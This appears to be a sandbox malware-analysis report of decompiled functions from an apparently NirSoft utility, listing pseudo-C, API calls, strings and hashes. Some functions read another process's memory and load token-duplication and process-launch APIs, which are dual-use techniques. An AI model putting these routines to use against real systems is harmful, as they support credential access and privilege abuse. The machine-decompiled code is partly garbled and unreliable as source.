				E00407343(_t57, _a4, L"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\r\n");
				_v4100 = 0;
				memset( &_v4098, 0, 0x7fe);
				_v2052 = 0;
				memset( &_v2050, 0, 0x7fe);
				_v6148 = 0;
				memset( &_v6146, 0, 0x7fe);
				_t59 = _t58 + 0x24;
				_t62 =  *0x40fe30; // 0x0
				if(_t62 != 0) {
					_push(0x40fe30);
					_push(L"<meta http-equiv=\'content-type\' content=\'text/html;charset=%s\'>");
					_push(0x400);
					_push( &_v2052);
					L0040B1EC();
					_t59 = _t59 + 0x10;
				}
				_t63 =  *0x40fe28; // 0x0
				if(_t63 != 0) {
					wcscpy( &_v4100, L"<table dir=\"rtl\"><tr><td>\r\n");
				}
				E00407AFD(_t57, _t57, _a4,  *((intOrPtr*)( *_t57 + 0x20))(),  &_v2052,  &_v4100);
				_push( *((intOrPtr*)( *_t57 + 0x90))( *((intOrPtr*)( *_t57 + 0x8c))()));
				_push(L"<br><h4>%s <a href=\"http://www.nirsoft.net/\" target=\"newwin\">%s</a></h4><p>");
				_push(0x400);
				_push( &_v6148);
				L0040B1EC();
				_t43 = E00407343(_t57, _a4,  &_v6148);
				_t64 = _a8 - 5;
				if(_a8 == 5) {
					return E00407D03(_t57, _t64, _a4);
				}
				return _t43;
			}

0x004081e4
0x004081ec
0x004081fc
0x00408200
0x00408215
0x0040821c
0x0040822a
0x00408231
0x0040823f
0x00408246
0x0040824b
0x0040824e
0x0040825a
0x0040825c
0x00408261
0x0040826c
0x0040826d
0x0040826e
0x00408273
0x00408273
0x00408276
0x0040827c
0x0040828a
0x00408290
0x004082ab
0x004082c5
0x004082c6
0x004082d1
0x004082d2
0x004082d3
0x004082e7
0x004082ec
0x004082f0
0x00000000
0x004082f5
0x004082fe

APIs

memset.MSVCRT ref: 0040821C
memset.MSVCRT ref: 00408231
memset.MSVCRT ref: 00408246
_snwprintf.MSVCRT ref: 0040826E
wcscpy.MSVCRT ref: 0040828A
_snwprintf.MSVCRT ref: 004082D3

Strings

<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00408261
<table dir="rtl"><tr><td>, xrefs: 00408284
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004081F4
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004082C6

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$wcscpy
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
API String ID: 1283228442-2366825230
Opcode ID: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction ID: b93c0f476eae2b4120c079c2f39cbc6d180985b1aedf8bde3229837f55527c2f
Opcode Fuzzy Hash: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction Fuzzy Hash: 5C2157769001186ACB21AB95CC45FEE77BCFF48745F0440BEB549B3191DB389B848BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040920A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040920A(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E0040488D(__esi, L"\\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00404C08( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00404C08( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}

0x0040920a
0x00409218
0x00409223
0x0040922c
0x0040924b
0x00409253
0x0040929b
0x004092e4
0x0040929d
0x004092a3
0x004092b1
0x004092bd
0x004092cc
0x004092d1
0x004092d8
0x004092dd
0x00409255
0x0040925b
0x00409269
0x00409275
0x00409282
0x0040928d
0x00409292
0x004092ec
0x004092ef
0x004092ef
0x00409231
0x00409232
0x00409233
0x00000000
0x00409239
0x0040921a
0x00000000

APIs

wcschr.MSVCRT ref: 00409223
wcscpy.MSVCRT ref: 00409233

Part of subcall function 0040488D: wcslen.MSVCRT ref: 0040489C
Part of subcall function 0040488D: wcslen.MSVCRT ref: 004048A6
Part of subcall function 0040488D: _memicmp.MSVCRT ref: 004048C1

wcscpy.MSVCRT ref: 00409282
wcscat.MSVCRT ref: 0040928D
memset.MSVCRT ref: 00409269

Part of subcall function 00404C08: GetWindowsDirectoryW.KERNEL32(0041C4C0,00000104,?,004092C2,?,?,00000000,00000208,00000000), ref: 00404C1E
Part of subcall function 00404C08: wcscpy.MSVCRT ref: 00404C2E

memset.MSVCRT ref: 004092B1
memcpy.MSVCRT ref: 004092CC
wcscat.MSVCRT ref: 004092D8

Strings

\systemroot, xrefs: 00409240

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction ID: 02e88fdf4673b821ef0819f9ed59a437f9dc8f0c8d82ea34f2c30dfda84fedc2
Opcode Fuzzy Hash: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction Fuzzy Hash: 0D2198A680530479E614F7A14C8ADAB73ACDF55714F2049BFB515B20C3EB3CA94447AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409C70, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00409C70(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char* _v16;
				int _v18;
				signed int _v20;
				char _v36;
				intOrPtr* _t21;
				struct HINSTANCE__* _t22;
				signed int _t23;
				signed int _t24;
				_Unknown_base(*)()* _t26;
				char* _t28;
				int _t31;

				_t21 = _a4;
				if( *_t21 == 0) {
					_t22 = GetModuleHandleW(L"kernel32.dll");
					_v8 = _t22;
					_t23 = GetProcAddress(_t22, "GetProcAddress");
					 *_a4 = _t23;
					_t24 = _t23 ^ _v8;
					if((_t24 & 0xfff00000) != 0) {
						_t26 = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrGetProcedureAddress");
						_v20 = _v20 & 0x00000000;
						_v12 = _t26;
						asm("stosd");
						asm("stosw");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsw");
						_t28 =  &_v36;
						asm("movsb");
						_v16 = _t28;
						_v20 = strlen(_t28);
						_t31 = strlen( &_v36);
						_v18 = _t31;
						_t24 = _v12(_v8,  &_v20, 0, _a4);
					}
					return _t24;
				}
				return _t21;
			}

0x00409c73
0x00409c7c
0x00409c90
0x00409c9f
0x00409ca2
0x00409ca7
0x00409ca9
0x00409cb1
0x00409cc0
0x00409cc2
0x00409cc7
0x00409ccf
0x00409cd0
0x00409cd7
0x00409cd8
0x00409cd9
0x00409cda
0x00409cdc
0x00409ce0
0x00409ce1
0x00409ce9
0x00409cf1
0x00409cfb
0x00409d08
0x00409d08
0x00000000
0x00409d0d
0x00409d0f

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
strlen.MSVCRT ref: 00409CE4
strlen.MSVCRT ref: 00409CF1

Strings

GetProcAddress, xrefs: 00409C98, 00409C9D
kernel32.dll, xrefs: 00409C8B
LdrGetProcedureAddress, xrefs: 00409CBA
ntdll.dll, xrefs: 00409CB3

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$kernel32.dll$ntdll.dll
API String ID: 1027343248-2054640941
Opcode ID: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction ID: e4d1d00a07c818a936495f608e4711dda3cd6d1ffd1a72fa6585e5ef64b3ff18
Opcode Fuzzy Hash: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction Fuzzy Hash: A311FE72910218EADB01EFE5DC45ADEBBB9EF48710F10446AE900B7250D7B5AA04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040289F, Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 25
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040289F(intOrPtr* __esi) {
				void* _t9;
				struct HINSTANCE__* _t10;
				_Unknown_base(*)()* _t14;

				if( *(__esi + 0x10) == 0) {
					_t10 = LoadLibraryW(L"advapi32.dll");
					 *(__esi + 0x10) = _t10;
					 *((intOrPtr*)(__esi + 0xc)) = GetProcAddress(_t10, "CreateProcessWithLogonW");
					 *((intOrPtr*)(__esi)) = GetProcAddress( *(__esi + 0x10), "CreateProcessWithTokenW");
					 *((intOrPtr*)(__esi + 4)) = GetProcAddress( *(__esi + 0x10), "OpenProcessToken");
					_t14 = GetProcAddress( *(__esi + 0x10), "DuplicateTokenEx");
					 *(__esi + 8) = _t14;
					return _t14;
				}
				return _t9;
			}

0x004028a3
0x004028ab
0x004028bd
0x004028ca
0x004028d7
0x004028e3
0x004028e6
0x004028e8
0x00000000
0x004028eb
0x004028ec

APIs

LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

Strings

CreateProcessWithLogonW, xrefs: 004028B7
advapi32.dll, xrefs: 004028A6
OpenProcessToken, xrefs: 004028CF
CreateProcessWithTokenW, xrefs: 004028C2
DuplicateTokenEx, xrefs: 004028DB

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessWithLogonW$CreateProcessWithTokenW$DuplicateTokenEx$OpenProcessToken$advapi32.dll
API String ID: 2238633743-1970996977
Opcode ID: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction ID: fe34eb2af2a63a360b7e1287e200b812ce4d940bd8def4616d2569e5b7a8a532
Opcode Fuzzy Hash: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction Fuzzy Hash: AEF09874A40708EBCB30EFB59D49B07BAF5FB94710B114F2AE49662690D7B8A004CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t48;
				void* _t56;
				signed int _t57;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					if(ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8) == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8);
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t69 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292);
						E004055D1(_t61,  &_v28);
					}
					E004055D1(CloseHandle(_a16),  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401bee
0x00401bf0
0x00401bf0
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNEL32(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNEL32(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
CloseHandle.KERNEL32(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$CloseHandleOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 2567117392-2565891505
Opcode ID: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004045BA, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004045BA(void* __ebx, void* __ecx, void* __eflags) {
				void* _v8;
				void _v2054;
				short _v2056;
				void _v4102;
				short _v4104;
				signed int _t28;
				void* _t34;

				E0040B550(0x1004, __ecx);
				_t36 = 0;
				if(E004043F8( &_v8, 0x2001f) == 0) {
					_v2056 = 0;
					memset( &_v2054, 0, 0x7fe);
					_v4104 = 0;
					memset( &_v4102, 0, 0x7fe);
					_t34 = __ebx + 0x20a;
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s\\command");
					_push(0x3ff);
					_push( &_v2056);
					L0040B1EC();
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v4104);
					L0040B1EC();
					RegDeleteKeyW(_v8,  &_v2056);
					_t28 = RegDeleteKeyW(_v8,  &_v4104);
					asm("sbb esi, esi");
					_t36 =  ~_t28 + 1;
					RegCloseKey(_v8);
				}
				return _t36;
			}

0x004045c2
0x004045d1
0x004045da
0x004045ef
0x004045f6
0x00404604
0x0040460b
0x00404610
0x00404616
0x00404617
0x00404618
0x00404628
0x00404629
0x0040462a
0x0040462f
0x00404630
0x00404631
0x0040463c
0x0040463d
0x0040463e
0x00404656
0x00404662
0x0040466b
0x0040466d
0x0040466e
0x00404674
0x00404679

APIs

memset.MSVCRT ref: 004045F6
memset.MSVCRT ref: 0040460B
_snwprintf.MSVCRT ref: 0040462A
_snwprintf.MSVCRT ref: 0040463E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404656
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404662
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?,?,00403904), ref: 0040466E

Strings

%s\shell\%s\command, xrefs: 00404618
%s\shell\%s, xrefs: 00404631

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Delete_snwprintfmemset$Close
String ID: %s\shell\%s$%s\shell\%s\command
API String ID: 1018939227-3575174989
Opcode ID: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction ID: ac83cb79e3d5854fe24d0bbfc9a3a323e310d753dc8b3985e5e0c668aff5e890
Opcode Fuzzy Hash: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction Fuzzy Hash: 2F115E72800128BACB2097958D45ECBBABCEF49794F0001B6BA08F2151D7745F449AED

Uniqueness

Uniqueness Score: -1.00%

Function 0040313D, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040313D(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryW(L"comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxW(_t6, L"Error: Cannot load the common control classes.", L"Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1;
					_t15 =  *_t11( &_v12);
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}

0x0040314a
0x00403151
0x00403158
0x0040315a
0x00403162
0x00403166
0x00403190
0x00403190
0x00403198
0x00403199
0x0040319e
0x004031bb
0x004031a0
0x004031ad
0x004031b6
0x004031b6
0x0040319e
0x0040316e
0x00403176
0x0040317c
0x0040317f
0x0040317f
0x00403182
0x0040318a
0x00000000
0x0040318c
0x0040318c
0x00000000
0x0040318c

APIs

LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
#17.COMCTL32(?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403190
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

Strings

InitCommonControlsEx, xrefs: 00403168
comctl32.dll, xrefs: 00403145
Error, xrefs: 004031A2
Error: Cannot load the common control classes., xrefs: 004031A7

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction ID: 155fb52d9805f4d7e0650ae201b0fcd9156dc3619c14d31e00ff2d1348fe2513
Opcode Fuzzy Hash: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction Fuzzy Hash: 5A01D672751201EAD3115FB4AC89F7B7EACDF4974AB00023AF505F51C0DA78DA01869C

Uniqueness

Uniqueness Score: -1.00%

Function 00404DA9, Relevance: 15.1, APIs: 10, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404DA9(void* __edx, struct HWND__* _a4, signed int _a8) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				int _t50;
				long _t61;
				struct HDC__* _t63;
				intOrPtr _t65;
				intOrPtr _t68;
				struct HWND__* _t71;
				intOrPtr _t72;
				void* _t73;
				int _t74;
				int _t80;
				int _t83;

				_t73 = __edx;
				_v8 = 0;
				_v12 = 0;
				_t74 = GetSystemMetrics(0x11);
				_t80 = GetSystemMetrics(0x10);
				if(_t74 == 0 || _t80 == 0) {
					_t63 = GetDC(0);
					_t80 = GetDeviceCaps(_t63, 8);
					_t74 = GetDeviceCaps(_t63, 0xa);
					ReleaseDC(0, _t63);
				}
				GetWindowRect(_a4,  &_v44);
				if((_a8 & 0x00000004) != 0) {
					_t71 = GetParent(_a4);
					if(_t71 != 0) {
						_v28.left = _v28.left & 0x00000000;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						GetWindowRect(_t71,  &_v28);
						_t61 = _v28.left;
						_t72 = _v28.top;
						_t80 = _v28.right - _t61 + 1;
						_t74 = _v28.bottom - _t72 + 1;
						_v8 = _t61;
						_v12 = _t72;
					}
				}
				_t65 = _v44.right;
				if((_a8 & 0x00000001) == 0) {
					asm("cdq");
					_t83 = (_v44.left - _t65 + _t80 - 1 - _t73 >> 1) + _v8;
				} else {
					_t83 = 0;
				}
				_t68 = _v44.bottom;
				if((_a8 & 0x00000002) != 0) {
					L11:
					_t50 = 0;
					goto L12;
				} else {
					asm("cdq");
					_t50 = (_v44.top - _t68 + _t74 - 1 - _t73 >> 1) + _v12;
					if(_t50 >= 0) {
						L12:
						if(_t83 < 0) {
							_t83 = 0;
						}
						return MoveWindow(_a4, _t83, _t50, _t65 - _v44.left + 1, _t68 - _v44.top + 1, 1);
					}
					goto L11;
				}
			}

0x00404da9
0x00404dbc
0x00404dbf
0x00404dc6
0x00404dcc
0x00404dce
0x00404de1
0x00404deb
0x00404df2
0x00404df4
0x00404df4
0x00404e07
0x00404e0d
0x00404e18
0x00404e1c
0x00404e1e
0x00404e27
0x00404e28
0x00404e29
0x00404e2f
0x00404e31
0x00404e37
0x00404e41
0x00404e42
0x00404e43
0x00404e46
0x00404e46
0x00404e1c
0x00404e4d
0x00404e50
0x00404e5f
0x00404e66
0x00404e52
0x00404e52
0x00404e52
0x00404e6d
0x00404e70
0x00404e85
0x00404e85
0x00000000
0x00404e72
0x00404e7b
0x00404e80
0x00404e83
0x00404e87
0x00404e89
0x00404e8b
0x00404e8b
0x00404ea8
0x00404ea8
0x00000000
0x00404e83

APIs

GetSystemMetrics.USER32 ref: 00404DC2
GetSystemMetrics.USER32 ref: 00404DC8
GetDC.USER32(00000000), ref: 00404DD5
GetDeviceCaps.GDI32(00000000,00000008), ref: 00404DE6
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00404DED
ReleaseDC.USER32 ref: 00404DF4
GetWindowRect.USER32 ref: 00404E07
GetParent.USER32(?), ref: 00404E12
GetWindowRect.USER32 ref: 00404E2F
MoveWindow.USER32(?,?,00000000,?,?,00000001), ref: 00404E9E

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
String ID:
API String ID: 2163313125-0
Opcode ID: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction ID: fcbc432c8b17a9ec8ea4481816a0c35ab2ad0e4d246cd47a42b035ba49fba047
Opcode Fuzzy Hash: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction Fuzzy Hash: D63197B1900219AFDB10DFB8CD84AEEBBB8EB44314F054179EE05B7291D674AD418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00406398, Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406398(void* __eflags, wchar_t* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E00404AAA(_a4);
				if(_t3 != 0) {
					wcscpy(0x40fb90, _a4);
					wcscpy(0x40fda0, L"general");
					_t6 = GetPrivateProfileIntW(0x40fda0, L"rtl", 0, 0x40fb90);
					asm("sbb eax, eax");
					 *0x40fe28 =  ~(_t6 - 1) + 1;
					E00405F14(0x40fe30, L"charset", 0x3f);
					E00405F14(0x40feb0, L"TranslatorName", 0x3f);
					return E00405F14(0x40ff30, L"TranslatorURL", 0xff);
				}
				return _t3;
			}

0x0040639c
0x004063a4
0x004063b2
0x004063c2
0x004063d3
0x004063dc
0x004063eb
0x004063f0
0x00406401
0x00000000
